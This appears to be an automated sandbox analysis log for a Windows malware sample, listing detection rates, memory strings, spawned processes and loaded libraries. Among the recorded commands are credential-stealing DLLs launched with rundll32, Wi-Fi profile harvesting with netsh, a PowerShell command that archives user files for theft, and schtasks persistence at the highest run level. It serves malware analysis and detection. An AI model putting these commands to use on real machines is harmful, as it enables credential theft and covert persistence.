Source: rundll32.exe, 00000008.00000002.2871819933.000001E17AE8F000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2978212493.0000000007F0A000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3053135954.0000000007CC2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029531974.0000000007CAC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3026186524.0000000007CAC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3035311559.00000000079E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Virustotal: Detection: 54%
Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	ReversingLabs: Detection: 50%

Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorha.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorha.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: amert.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe "C:\Users\user\AppData\Local\Temp\1000054001\amert.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe "C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe"
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe "C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe"
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5540 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5660 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Source: unknown	Process created: C:\ProgramData\MPGPH131\MPGPH131.exe C:\ProgramData\MPGPH131\MPGPH131.exe
Source: unknown	Process created: C:\ProgramData\MPGPH131\MPGPH131.exe C:\ProgramData\MPGPH131\MPGPH131.exe
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe "C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe"
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1636,i,5624198576768077496,445941079671464976,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3632 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe "C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe"
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 2132
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3872 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4012 -s 2052
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 1948
Source: unknown	Process created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe "C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe"
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1984,i,457568203381776828,11237095852378400144,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe "C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe"
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe "C:\Users\user\AppData\Local\Temp\1000187001\build12.exe"
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Process created: C:\Windows\System32\conhost.exe
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe "C:\Users\user\AppData\Local\Temp\1000054001\amert.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe "C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe "C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5540 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5660 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3632 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3872 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1636,i,5624198576768077496,445941079671464976,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\netsh.exe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1984,i,457568203381776828,11237095852378400144,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe "C:\Users\user\AppData\Local\Temp\1000187001\build12.exe"
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe
Source: C:\Windows\System32\rundll32.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: netutils.dll	Jump to behavior
